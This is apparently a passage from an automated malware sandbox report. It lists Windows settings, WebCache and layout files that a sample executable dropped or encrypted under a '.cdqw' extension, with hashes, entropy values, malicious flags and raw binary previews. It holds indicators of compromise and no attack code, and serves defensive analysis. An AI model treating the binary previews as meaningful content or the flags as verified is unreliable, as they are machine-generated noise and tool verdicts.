SSDEEP:	6:2kTzPjxWeR8A8roZF3srtHwPR26KE7fD+GRtP/Wg/j8n3j4byReSQQxmsowfw5Xn:2YzPNW5A887GlSR26/H/IAYn3j4uWOmz
MD5:	FB12D537877CFAF397AB22399D568AD9
SHA1:	57509ADA751A3DC5EB646830833A5DE5886CC7AB
SHA-256:	E4E7D454065252943ADB32FD2826D2F98727D6ACD99EE5542BB85D5DC771894A
SHA-512:	4A0B36A2F39BEA137DC0EFD6B02DBBBB90EF1B36C66B50ACFEC12C5E8EB872BFEF8FF46F041BE5AEDB3FCBB47B655406E2348673ED5172C4BF3C1D17002B1DE2
Malicious:	false
Preview:	CMMM ....6......c.>...a.....&2..:..M...f.Z.....-.\...J.[.^.3..p....k.S..%.;R..M.....L..V.CLd....1_;.....^...\|...i.?8.....tWa.G...b.&Z...-.....u..]9e./.x...B.b.#.tq.+c.F.\|.>c........e.F..&...+-MR..=..e.3...P...F...L..6.y..'._m...a.o!..+..........18+........bH.8.TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Shell\DefaultLayouts.xml.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	64281
Entropy (8bit):	7.997374337204061
Encrypted:	true
SSDEEP:	1536:O72/kNJCv1UOmjl3N4kGROzNOjZRo93vPPBprx1g/YH/:LcNwUOIfGRS2ZRCPPBRx10K
MD5:	E34EE27F6CDC933177224B2F2C6027A3
SHA1:	2C7FDFA4175FA731CC3AC49B590A477D5DA9A715
SHA-256:	7BA8251DB3F3F5C4C1B3C746473F5BA5EBFEEFEFD126CD23C25A00378C6065E4
SHA-512:	F6E0904D44574172EDDF8046D8BED6715DA79A1643C0CF593F138F16F5353CC676E464004E95F6D2E89243BB6481A59B3C701B76570D30187BFE070C66FFB09B
Malicious:	true
Preview:	<?xml.]..)....>b..h...z^'.H#!..6.^...t..-].=......Hr".v......#.......n....xd...Zo..\|g?r.CB..:...._tK.<...yI..'..PM.^. ..S.d....Ag..@Z ....).n.\|.v.....@.........7.@J./..k.....z...,....b......3..Sg.P.._B]k..e..>DV.....J..SH.7.v.....0-O.6..N.z..=Ze..`;L.2.]W........'.\|%.\!.~....>k4........e.V..M.....;i.z\|l.X..._).m~p.ub.G.N.P.I...z.{...e.]U..{..c..Q@...;..>.2.-.Pc......?P&.gA..]q.....D...!.....l...Y..a..........!'..........uM..qn8....1A'....?f.LZloB.`.L~^.I..&..m/......B.n....gV.S"Pm...U......2k..h.\|.V.n.....d.%.2...V) H.\7..:.....<,toh.!'..#.0u..S.aV..r.S.....C].4.@..W.q>.G2.........3.iD... ...[.]...p,.Y..8.E.#.%.>>+..hu..ux.._.vA..M.T}........b.....b.C..p?..`s.B!..Oh...#...{.v..g....R.z...<LX.SUA{.n0Z3W.6........o".'./...h.xWX.m.q...HG..:...%k.<..{.~g...........?.Y.G....TV..X=..5.I.."...S...:.7.c.4......k....C...W...-.%...YH.....z0G..\|.LN...B.. 4kK....$..O}.{.....`.f...gm.:./......g....e=k....nE.<...F...o.}7.$&.]6...5/.!....c...Q...O.Z

C:\Users\user\Local Settings\Microsoft\Windows\WebCache\V01res00001.jrs.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2078574621028695
Encrypted:	false
SSDEEP:	6144:K2XV+52iTCNRWfC7LOtillc9/qNqHSzdkO:5VIdmNRWaiD9/7akO
MD5:	8873CDF73598B23C1E2BFF05CE718F12
SHA1:	ABAA1492A4C289C9DC4203BF1C873C7CAE7AA7EA
SHA-256:	0447CF898BE4783DB0AAA25446979A857A10F0088640328495CA1894E2CE7DB9
SHA-512:	52BAB3892C5EFCA19CFEC35AF9B87352E55D1C6F8D93A7E6D26B948D3AA18D3EABCD5FF9329380AB8FCD70E430B04CDE94E997F53F4EDB551425BB3D171A0046
Malicious:	false
Preview:	......m..k W..s73....`..V.....T.'..w:....bs...w.....h........@....a..W.S9..{T.+..k..>a..u.<....Mk...2...-..a.%..f.`.......3..o.^q.V[8bK.(;xM..F~.Q..C.$...Z3..n@............HM.....Td}..c!D......W.<...YPH...TRWS.$H.@!..v.+$.D^.16.a<g...G.Euk..O..........!.4P.r%G&<.Q.v...K(...j....j.~.".:..I.Cg....H..@(0...m...gy-"..)..x..<3i:........E..q.i.....L.].[....h.g....\|..tU~. ..[.....:Z..t......sGo.t.#...4C8fh--.....d.....r...Q.!..r..%S....)............82..7f.R..\.p0.%.b..h.)...T{ra..zo.A/X....\U.....(8/..w.b8...R..8(2.E....m...]..D..i.[......7...\Dt.E....l...s..C...{...8j.\7...l.3W.}.".X.n;.AF=.....->..T..,.+m..u..5WN..@.;..gc........b.Z.4d"z.....`.la.&.,.q..[.d.\?;..Js.9..I.........'...a..7F8."......K~...vzS..."....<HcUM!\|.m]..C....Eo.f.`F..._@.W..:nm...w..8.=p..wc. .O.`&bZ0?.}jR..sS..~...V...l...'q.q.u...l.>......a!..E...j&BU-{..h..h....a.3...'7.%..$.]...'.8jvN.......w..-.....!%........-.6i\.m..h.\o..?.=$.a?..NU..._x.h.Xtz..y...b..._.L..U..

C:\Users\user\Local Settings\Microsoft\Windows\WebCache\V01res00002.jrs.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.207780797476114
Encrypted:	false
SSDEEP:	3072:5OlrEbY2Zg9TzQsuT5sQE8p+E7f7rIetpblCMqZewXhcRlRclFa:5OGDZgpI2v1a7rXblaZeYhr4
MD5:	34C2AF522ACD48503CFD08717D5018DA
SHA1:	4D67A96A68F8DBF484BC86901B6E671AB311F6EE
SHA-256:	16DBAC47FB774D27E7865ECF9328C8DC569E0AB309C712C160411186C07B49D0
SHA-512:	AE817AF4B1CAACF840994546F41FA7CD73A77380FCE51A24351A904455B29E9109B015CA1AC775F540FF89E0EE759652C91283930621B506662FD5311A9BFD31
Malicious:	false
Preview:	......j.JC.m.\18..y.H.FU..a../fPE.....)..J.....8Z.E.y.....Z.n....;.<..8 2.........d...$.z^....{..:..D..r....iVPIlC....e...?...pX,.8"}.p....O.m..1mp[?6.f..(.v@j&.......Mkl.b?(.F.X..3..Z..2m...^.o./pt..6....Hr.?./6.s}.T..0.\Z}0..!....v..k..,........_a....X...n_w......._.<..T.....o.`..y_.^.;_...........Vi(...n=J9..P.#^..ruAs...d..-b. .....u....k......+3.j.c...t...7M1.tT..z...d..0}C$.H...0.d8..n...W)8+E.L_.kA.......O..!.#..Weg.I.+n[.Ag..1s...s.G...0s.-k.u...7..s.M+...!...K2....">z......-.A.P....U.Z\u......c+Ua...1.,..6..sZN.}..C..Zo...Y.....J.l......F}.,.L..J.e^.<d.p..W."....a..g...c..\..d<..&F0D9.\|u 7."z..P.2.Y.,aS.IL...C.9`Y.o......A.U......a.e`.R..hGQf,......\|......i.. .^:._..Y.^2IJ..Z.k..6...<..J.A^K..?.+. .xk.Tw.gi..0....'$Z..0..`.<./...zG..M#...R..'..d...e].w..C..o..t.A....}R......~.;5x...a#t.og..&.}F.*I..#....^. .e;..J.#^..7].."...............p5..$....%.........z.....p. ......]Q............nx?..y.C.......\.\|..w[.s..u;1U.'.&

C:\Users\user\Local Settings\Packages\1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy\Settings\settings.dat.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979866391612629
Encrypted:	false
SSDEEP:	192:HsIPPVNvQLVvjkCgEk3GFZIX+g8gsZJAMfbqrBJvTPs:zXVpsVvpgpEfgGJtjQzw
MD5:	2DBA2FBA8573790290CD8606EC5883DC
SHA1:	5266081F450DA0E721E0BE5F1CE497A3ED555DD3
SHA-256:	C1C871454AA7449AAF47FEE98AE764CB69FE45478BD692E0A523F1B5A2C9C78D
SHA-512:	28A7CE66B2F9BFE72751D3161FC6D7BFDFEBB9BC298218293BD29271CC4E89C3CAD0032E0990B1B84C881AAE231EB5D2C1E295D5ABC1619D2E42663035E383EB
Malicious:	false
Preview:	regf.I..%.....~N.......p....n...0.....+.bDOi/.Y.$.FVd.=.UlP}...R...;...Z.....=.'v..6..k5\.$.........W.%W%..5p...`...Yr.6.8y..j\|$........G.e.,j.~.....p.....W.gY.AdP...-.C.5.3S.j.e.XA..k...Z...y..<=h22.._......m.7.R........W...ed2"L..\|9w.....UB.bR..#.\|..... ,>..Qp.c_.^.<......._.~.a.x..rGKI5#n$M[...9R.'.A......X...EE4.Q.}....:/.e.d.m.e..@`.wD.\Q."J..$."P....P.f,6.........3.s.@..MB(t\|{.S...p..#..S.6...dE%N..U.Z.lQ.9[q...Pgn'......v...(.!.F.N..'...='.+......kd?.x.].ka.....toe..\|.....1?.F.....9.9.#..a.D.G.......{.nr..p.~O.E...u......_...".......#.W...%z.S.H.4...V.....w..l.#....V.eq......%.#.U&\|.I5.VG.=w......w<.$9.3)y..\.._T...r...p...r..;Q.l.Cr.u..zHN...ArI6.B...Zu0H....E)..6...dh...`..N...4t."[.(...w...........,........".L...6x&L.\|RP ..2H...D...s.BZ.._)<(c}a.i.y<.'...2.E...2enw...MN.t..K..n.L...g..nY.j..u.....X.w9...5.j+.TnX.jf.......E.<&..K...zB].W......;]H.4TP...._.d..}.Q......{.!9B.axwU.f.....+...$.[.....<..?........l.

C:\Users\user\Local Settings\Packages\E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy\Settings\settings.dat.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977931281466535
Encrypted:	false
SSDEEP:	192:SPOCkig2cp7l1BMUWkyyZ5U8OGoifF6iUA2DmYex:SPLgF9TWkyyZG8f9UAYw
MD5:	C9F38F77083F51ECC7F3CB0A220527D3
SHA1:	CF4BAC073D3A66FDAD438B95E6FBC50FA58F2392
SHA-256:	CEBD6D26C38F394E3FB8268661456F1C90A33CC25776CBB66316C3958E4954DF
SHA-512:	9233F17DAE0EE45A83C592E963C07AB69A7CA80B501E14F937A9EFE299D80CE7526FC63E149349719DFC3D52CAD2ECA172C25D748DBB6C6A2833F181533AE85D
Malicious:	false
Preview:	regf....,!7.......y....=..{.{....m....%J.;(..Okp.2..Uv{.%.\.OB.:...p.`...F..0.2..0.s.vB6.e..18^.%E'.s.Z.....k....ut..u=.5Z+x...c...a..\..hP..=....ZXA....]."....8.%\|b...+.......3[..\u....."hS.i...e.0F..R......G...tp..`.....$9...X.2.%\|.`..).\.+^.].QN.....4.oM0......=.G...L.%.p.lr)9..{.....o(..j.nC..WW..__..:"=.].....@Ur%Otzf.......r....... ..-...`L.G..iN.\c....'H.......+sd..r..U7;k..}.Z..0...:(>..c.cPkOW1'2n.Y..."UZ..........Xm ....Rh.....Q.ll.$...!.\|ei..w...nF.iu.A...m.3jy.;.{.bn..P...u...[..m<.4:.....XvK.# G...8...._l.B:..R....T...$.\G.'S.._.......[...Z<A..{..D...7...N.....Q..f..wn.^.bt1...GT{rr.f..h..D...-....)..v+?....(..Ds,fr..C]i....yHJ.m.N(g:....pcW.v.3........:..]..]z._...U.8j)....N.Ej..%.}.......o5Q..)ih.....'...L..c.O.. '.<B..A.=..!.y&...].n+&.l]4..F.ZW.^ .....!....Pw......%.n...k!Ve...1.t.3&..iO.G.>N..........tM.o].....nW..@..;..,..B{.>....W.......p...Z..,I...kN...Y.'.........Hu.....bZg.`%...[w.mjk~..W....G\|..D.....Q.

C:\Users\user\Local Settings\Packages\F46D4000-FD22-4DB4-AC8E-4E1DDDE828FE_cw5n1h2txyewy\Settings\settings.dat.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.975418621294823
Encrypted:	false
SSDEEP:	192:9H9IzlDHzCsYnrbNf6n94i7Y0GWbdgtXzkghf46OLQrTS/EGboZ9:1a5HzCprEnLPbelirErT
MD5:	D320C541C993795D07E776069C33F371
SHA1:	3A032E95C462C6C5EB46D22517F904C7F39190AA
SHA-256:	08D754B66F5EBEFE346E4ADE7D8382E4C2068F3620621FAC083D072C35BC8511
SHA-512:	67477C3342030BF8C9C29B6FD4301B61ECCDF3ABC83B0C8904D1837ABDD50634F87A0281FD02B1E3645CFFAF2B14E2A5B41F1F8BE04A8BB4AE0AE17D8BA8ECFB
Malicious:	false
Preview:	regf.?`....a.!?....^........U.)Fw.E..4.....6gY.....;...5S=v...6.~...5.b.E.4..h..:..9...q.=.93......kV.P..W.x)....".`...Kl....\..1jc.MN<.....C;.M.H7..........?i;...../..g.(........B....X.8.d-.X.{.$>[..h...~.h.^....a.JS........CZ.a#L...n.Y..iRX.C...Z.;.\.m...Bp.d6."..#..5...A..x......F.J......%}......W^..a.z'......Y.?..$xp..0..k.at..........\.C>.3..zE.m..n.:.........aa.I+.b...........96K..'.......v.\..,3.j@..v...a...$2[...$:.Bp1.....P....fO#.Z........7n'.y[.K.f.'B.M.zg.?........<......h.O.@.d..!..p.A.qM@.....}.E'.N;H......\|/.%...y..!...^..#.)<. .<X.s....h:.X..l-..(...Vm.....<........) ...'.S...@(..n....c...%.... g........."...u<m..n....t..!X...k.....G..r@"..%....{+In..2...k....j<.)...I.L.Z.$..)....=.j.`N.[+.\...1-<...5...J.#....\V.....@!..n...i$..bv...K....1...a....T.r..l^Tf..^..($E7.....Lt.`).......S......_.M...s{.<AM...A.g)M...X.....;.".*.`..w.E.{Q.V.=... ....G.`...7R`.MN._20...w.............J@.`..0..H3.PB.<...........

C:\Users\user\Local Settings\Packages\Microsoft.549981C3F5F10_8wekyb3d8bbwe\Settings\settings.dat.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9797148384158305
Encrypted:	false
SSDEEP:	192:YNl7rqNpFeDG2EgISfQ2bQuL6swYCVLCvt+er7Heo0:YNlvqN/SfQ2MuLtwYCJkn+V
MD5:	8EEAD2D0E9C2654F4E74E806226C296F
SHA1:	E6A96F11E966B114E0B109BE9671050D9A750795
SHA-256:	3E3F661A8D2329D75A4A2128FD1DACA780F78111F1041F2DB4B8B56D98C6B7B4
SHA-512:	1BFCC07C218054E3CDBBFB983D919F0A83717FC5A115C3EBACF93155D3796DA25C2886A524D2E346B1D227CEE3BA5D1BABD942E8271BDEC8BA7F563CCADBB0CA
Malicious:	false
Preview:	regf....V.....%bY{..H.....-.m{.^...vv<...TA/6.....LS..Jb......^..g....81.......{....s8...Q.>...........I[...~a....P{(vQ....."b..E..........g&.A..O}.N...8\|.j..fD."[..~:. Q...j..o....eb.9......Y.o=..`.@}jF...W...d<....p.y..ZT.@....P...e..:w..!.....8.I.SP.!^s?....OvS..B8.............,E...mw.p)W...j.GA...2..Yv....}.D&...x....k.. .cr...p.).XS........7..............J.s_+ie.cw...p....s....SnN.H./.]..M....`~.ll...&b.#f...-.7..+@%^YL.MNl.a).A.o}.Y...r....{.Hs...{X.Yz.^.pO..M...lw..W....(....H....0............9..-.7%.u.5.a<.x... ...r.......Z.n..:.U.......(...........1I.....Q.2...T.....).9...K..?.E..{(.R.+...br....l...\?.q.x...@..q.I.CW......1w&...T.j..U.1B.$".v.!..P.....0..yTW]....C.`.....w..j..8.(.....me.G.R\..y1{..R.s.i{....b....~......fg.E......R.g.d..]m.)..\.).=:.hro............_!............O..Y...\[..........'.".}W.!...o..'..q....a..i....k..>..qs.]..0..i.,....WW.t8y.>......g.L....K...R'.].e.s..yX5...n.y.o.9..I.().3%./....). .._.

C:\Users\user\Local Settings\Packages\Microsoft.AAD.usererPlugin_cw5n1h2txyewy\Settings\settings.dat.LOG1.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979001358866959
Encrypted:	false
SSDEEP:	192:mWUhFeMjMB42h1oaLBMBobQz3nNpHB6N8xZn0vXFGEDlJPE:mWCpjMfo8S2s3nNj9xO9zxJM
MD5:	BF3206A1BB72047CC8D893BDA4A0158B
SHA1:	7DD608F8C3C658B4EFC28B58629B494BE4A80B30
SHA-256:	D6E1EB30FE3D88D48E00E5F6023807FE642BCEE647CA0F71A4E4C6C4A2B9B02D
SHA-512:	349A209953D6848346F0291DE6E15AF8B44DBD38F5A1F552A651F05F6F70EC7B9D72CCE956BD2D294F90A24E0D88D428E99284E268AF997A91DBF9B7F62229F7
Malicious:	false
Preview:	regf.=.`.b,.$Y}.1..;...4\|5M@.q..l.x...W...4_.7.S@...K.;...n.6(_..!. ..q{.....f...R...d.e.<.b'..v..?...)..U.c...a....D..=..@@.g.wl.h..k(.....8F.B.1/....]...y....}R...2..rq....Z.~F.1.$S...5.N$....t...f.@..W..."...u....[....~2ds...-_+.yz...Kv......o.-M.UC....<g..K.fXh......R...;..y8..U.3.+.....L..+H.F,.....c..\......'./...r.........)XE.fd.].^.-.p..l.\......)..{Lk...7g&.s.?2.%...c....4...O5.uq..9a....A......uy...9,......M(r%...G..s<...8...,.^.E..<.....R..6o...Z.X.r$...&3..h..9.....~4wg.......=.A.1...).T,'...}....4......[.......#.h......(..V....B..+...D....K..'..RK7.4v..M.>.(..{.....7L......gCC. 2Q`E...!....7.=M.b..H.Wz....T........hu/....`5....X.rlw..I..i4t....n..qC....kP.F....J...Od.?...=O!\|.pu.}Ubu.P..M...f..........+..90..rE.0..{..O.Af ..m...;..Ze...NiK..k.25X......#.....rs....^..4....E...R.M#..2w!+0...sa.~...o$......Ll2..Y<C...&...."9....hXjK.r....V.eb....V...o..:.MF.N8tKlg...n%Vh....8......A..!K.UBqA.?W..v.....8...GVs...m...f...)Cq.h....o.

C:\Users\user\Local Settings\Packages\Microsoft.AAD.usererPlugin_cw5n1h2txyewy\Settings\settings.dat.LOG2.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977007364561393
Encrypted:	false
SSDEEP:	192:OA4FJtP1OaEcA3fxnbtnWpv/5jxcZEFMTD/R9OA8jw:O9Fb1OauJnbtWJ/hxtIPl8jw
MD5:	291180D3A3B7E13181CB834FE1012020
SHA1:	94A79FE2D71ABAC5564E3AB72D41824D1848D616
SHA-256:	FAA6159C85ADA733502B03DCC211577FB9B61CC68E24F7D2C6393A790ED87FAB
SHA-512:	9B3A587AD5988B2E0A8DA4777368F2491A2A977B63F3352B39E5EF869031C945E6A626B8125077FFA1A79EE00D94AD66316E2D46FD1C549C6FFD8CF94FBD56E7
Malicious:	false
Preview:	regf..2....d.\.k......?w....)^...#J.......Z 8B..I....xJ..uh.....=.C...0m.l..N.....p..ZgNz.........3....^...Pu.......m.D...VK8.Q.+;.X.ir.;..'........C.oa.?.....6`#.`.]_}9$.'.y.Vv...$1\|.Z.."....Ve.....[d...L.h2..7=^PE..w4.l.."..A....V%.7..XO\.{_.i4../...C.b...ji..3..lD..r....F.y{..IEp.)....q>e...,}6...:.^..n.5.}9.z."..b.i6Y%..{,.W...T.R.M........e-"N(t..U.0x.[..$..%.l.x:...W..h,....4l...X..y.T.....j.a%.g..=\,..=v4.z..Cm.@...1.....f:7...U)<.RR......r.tO......o2...."..^.v.0....1..>...0.v.../^...x....^d.B.n!.@H......'A.z...JB2.+.....`.K..;.J........Z....A..Y.?}>.3.....S.@E.=.K..2..?].%.4. .0..x..I...m.....e.N.....K...z.......`....V....9=..."#O..Y.."..V..z....[4 ...6...a..1.... tbi}v...f.^!.....Kg`<$.V.t`...l.p.\....y.=/.t.....T..]uD.._...x...\|.m.d'...I.F...Y}..sg.b..h..!.......s.R...X.W.*................@...)...3(....xd.>.......X(9>.F...K..1{..5...P.....g..i..$_...86....IBs.?.z.;Y....Y<h_zr.S4(....c...9&A.....([".;...#..y.v...'.././.[2.7..s~...a

C:\Users\user\Local Settings\Packages\Microsoft.AAD.usererPlugin_cw5n1h2txyewy\Settings\settings.dat.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979210807665512
Encrypted:	false
SSDEEP:	192:rgYxAke15BPiIK/zGjfkFa6z+Q6mv0bbdpAKx3e4:0MgqI2zGjf4aZiv0dpAk
MD5:	6D0CEB3EB54CF77A5C179E25B8F89F6D
SHA1:	D7DC34561FC6DE960B85B16B4A948628F9CDA86A
SHA-256:	0EBA78CF168DDCC919F81B5C78ED2E0E0CE3139ED6DBEF63FD3F003CDD3AA8DE
SHA-512:	26A2D3F9DA690E8D130A1450967D7C5EA271F0E8049B8D8FE1806E208EF52DBE248BE0167F617A8BC3F1982E369B946F1C13D22233F3F8B426F58D05B8F94AD6
Malicious:	false
Preview:	regf.2..D.S.5..t..D...9......K..\....t.<.pP....i./#2...[.9K.....E.,....&....D..7.LI0...FR....5]G:nd.E().,{h;.;..V<....O...Bf.O....J4.. ......4.l.....(B..B..3..l..cS..D.F.}.JRP...qIC... ..KN.e.I7..a...8x:/..-...............L...Z....%....TL...Qk.......?.W.....T...C...t....2.K...6 <...OQz.`...&4..g.S...R....>.?...:I8..WR.%a..+...C.ty\-.K....\|^+2.).."...`...V.x.....u.F.\..P..4=...\.S.u.v...E.....$...'..r.be..........&..:.!..l.x..X......"...t.z...K.T<..Xz.=.....n..6.......U5.......%....u.q......B....b...\|..e..q.uO..m}..X...k.P...9.6..)}...)...^uH2.a..vLW\..d.......1....?0?H.Q.Y.d]_^A...............]...+....ctn.qu\|ra..^.<..h...v.I..TO.0..P....9...)..#......-..pu.kkH.F(...lUs...}/R.G4.c.O....k~.....:E7.........<...U.lf..B..d"..........C...>..[{..'s.<ly..Sr....#....c{.'.. r.1............R..a..t..s+..+a..T..q.^-.$.y.e`TX0E.dWV.<.z..J}....4.I..:g.....~.w.F..I_..V....Wi.^....<(...N...kQ.U....r3SiI.o..Q...n.6.E..p.kV..*.<O=`....$L..`" q

C:\Users\user\Local Settings\Packages\Microsoft.AccountsControl_cw5n1h2txyewy\Settings\settings.dat.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977655810853403
Encrypted:	false
SSDEEP:	192:a7AiKpkTeJn4b/dAapNiy72+uRbgCTkXtm/wo6y6dp/ZQr:a7Azk6nGdAapNiT5bgCgmIJy6dpWr
MD5:	D4EBA4C0DEE2F14433118741544EEB09
SHA1:	8ADF104BBAD447ABBCAA3CD5FA0E7115FBCF78ED
SHA-256:	9A5607E86DEACC88CD31AC8A2D6CA7A62E2B3C99FA139621AA04D9EFF8763B64
SHA-512:	BD55328E055B784B3FE8F30B6DCF209361E62271E086568F149E56F5AC0A486FA0D8446F412699F04C07D9E38FBD3E09024482D706B5D110912A36C31E1C9687
Malicious:	false
Preview:	regf...N.x#q[.L....K....8......2:.i.......\|.ck..6y2..G.\.a:q.x....4......`4.R.....+l...D..U...M.."t..3\|..r..8.....sAhz..r...).......J.x."..1.N.d.K..D.\|.....E..G..?.......c.9.q.C\.+6.q....VF....t....j....i...q.;..n^.jC..........!...t.R?...K.~yr.$U.au..lW.6.......{.=..+.D7..\|..Vb.E.OGL.5.......&.-.,..9....6=.v.o..~j.."'KX].g.......5y.)=....U...R~.(...i...;...je[.m."..H...4...q..L.Var...]yE...N...a0.ngc......hL...s,.5.._g.ust.......&.......2.lp...E.vy..H..`......b..K...O...+.w...?\..;2-.......ZRi..MkA..Da..Y..E....,....\+..h$..G..r.7!\|z.B1......F<..)/.\|.%D... ..1v..x..2.#.xkD....N........6...(..i.Ei'..Z...XG...;P......K..@......:Fa.L<.u....V.}.f2}.1..q/.....Z..1..b..z.C..5.m..k.......s....L.y.Ka.....1Bcd..1r.Mc ......%...L..D..N..\|)...m..1v.F@.Z..B..vG.O..K....W.....`Q...6.......!.O..J.......c..g.v...h....m.4..c~lt{.}...?.g.=TW..m.i.{d.}0G..O..^...1......q3Q0..V..I.M..z.Y../.....u..p2.Rx.....!.6....xL... ...$.R.....z...m..tP.>.

C:\Users\user\Local Settings\Packages\Microsoft.AsyncTextService_8wekyb3d8bbwe\Settings\settings.dat.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979062922054478
Encrypted:	false
SSDEEP:	192:8vZeBpBYY8CvBMOKZinttvQZ0+3jxmJDLpwpNWT4RROGPPv8dqq:8vcBqCvB0AvQZyDLepN8dGH04q
MD5:	84D24F1AC6FF56BBDF1C9962E54FB50B
SHA1:	BFBD60B4EF8761567A43E4566E33CC39F1195609
SHA-256:	2CA912C13ACA6868992E0BE629481AAAE0A8ECEE5BCD2CA8B5845DD499D4745B
SHA-512:	5917E1BFE6A72E964D38C5018F5CF79AC00C07B6A92088D86A0B8ED16BB10B02AB1B8C84FFFA38D2A08CA803659FC705B8C686BB2959DD2F9187598CDC4059E2
Malicious:	false
Preview:	regf....#.z.h..s.T].....n.v...+v...Yd.2.......(,.#..e...^h ......(...kk .A.....=.=.W=.+\|...{.;A...x...p\.......p.h`....-..4mj......\Q>/..iWg..nO.0(.e.v....\|."..e..I)......>..K.m.e.>.T+U..M...<.Q.b.=..}.:.y{.[M....^..M..L..~Ql......b.\|A...,.I%.Jg.<.G.\|[.Db6.alV.I7{.zA..Ca..0....K.(..,..2O?r.$G..2..i.Y..Q..s6.f5...o..........Z..'.....b.:......(.g-.Kk"...n...S[i_.............n1.>.].3.......rk..bv.... .,....0...Y.r.&.nI........4+.HE.....NM.s.?....[. ...t.Z..G....+..N.O..R.']k...5.@d6...........%.......%..%W........A..%,.~....,{.B..1-.6\.N...(..SL..8....9..>.Fs...ron..w.x.....<..`&V.BB....I..Z)....L..`Q..-.1nR]u...v...X'.v...Z$........w.6e.-.!.0b.v.......~......Z.....>.fe_...nI?T....wr.?#..a.".W....T.z.h.....O#.Q..<...rA.3V3..<_...N......M..q..3f.d...o..r.Cw......?:\|Q.ei...k..f...D.A..,.\|.R.....^P.~.N..0.h..9.....:...E..,...,..N..wL..!s.}...%...NJ...j9.....Y..rnQ.#...'n..lF.7....>x..A`..3...}.nYn...x.XvQ\.l.....h.:S9Q.d.._.[..I.

C:\Users\user\Local Settings\Packages\Microsoft.BingWeather_8wekyb3d8bbwe\Settings\settings.dat.LOG1.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.975301869546328
Encrypted:	false
SSDEEP:	192:ESn7edtoDrlTagBj8Frd7ezjM6BjQIT5wmgLkaeGKaDGE:ES67o5FBYFrdojxdt50PVqE
MD5:	5331A504E82147A2DD6D813DBB9A37B6
SHA1:	F36757759997ED1FB67F9AAFD593B6AD062853C2
SHA-256:	5AEAFA97B0ADFAF2BFF963C96B246580CC9CC537823BC28BC45AC77C5414E943
SHA-512:	C2EFEC76CB49A9D13C1FDA94D114428599F393C4A9EEC466828A070E26C6BC476E99D9006498A53A840474D5CF4A17BC8ABBE24243BA33DC80A6979979B59D1D
Malicious:	false
Preview:	regf.{...H....QS.W..Vfk.gJ4.M...M.........~te.f9..ulI.P.#\|.... Y.(....&....}#...t./ ..._>qS..........T..q.Ry/6Dr.?u..I.....~.;g..22..iDV..D...6..2...:.1.../.H ..-.....M=.-.G.?.....5&....e_..Q.J..Ba?.].....Q....sy.........qO.....x.S[...P.1N...e.w.G.]r.?..7....%..Zvg...r..<..f.:H<^ ..LW...%...Z.t.6.g..z!.. ....#...>X..X'M!Dp).>..H....g.v....n.b[..C.b..:i..%..{Ta..Y.X.}.`.u.0V^.G..X.+JI..&P.^''H.tL....;].]........5+4.1.v.3c.Nr....A[.Z.Z.....ZE..b.S....=V.-.&%.p.a...%...O.w...C..`...a.w.v.....K........G........TJ.l...Y.Q5..g!../.......#.Z'....8w.B,.]&5...6o.1..=fG.k.! ..}.......G.$K....X\....5.Q.B..W6.....#.IS.W..)_.b..K..l..P.....9B...y.~.S..........=Xu.5..R..v.\|...!...e....4....>..J.^.p......f..XA.^z..^z"...}....N.....H.pH...Q..D...]d....*F.z.dmM..Q...\|..J.$ .(..n.V....Im....C.......>#....g...3.!Sy..bq\e...\.W....{%...T..!........B....F.V..p.O...6.........._..%./Q..gb......?G&.0.&....H.i_W..6.....nIx.f\..,...q....4.G..q..

C:\Users\user\Local Settings\Packages\Microsoft.BingWeather_8wekyb3d8bbwe\Settings\settings.dat.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.973854392232822
Encrypted:	false
SSDEEP:	96:lInDy3CUe9hCGmy8vA4j4EgaYc3Spl+nt4zNSIbqKY9SkWD2V8i+EOFEVS1eDyoB:lIDBhEs4j4LyTGZrqK+9KFgH1510db8
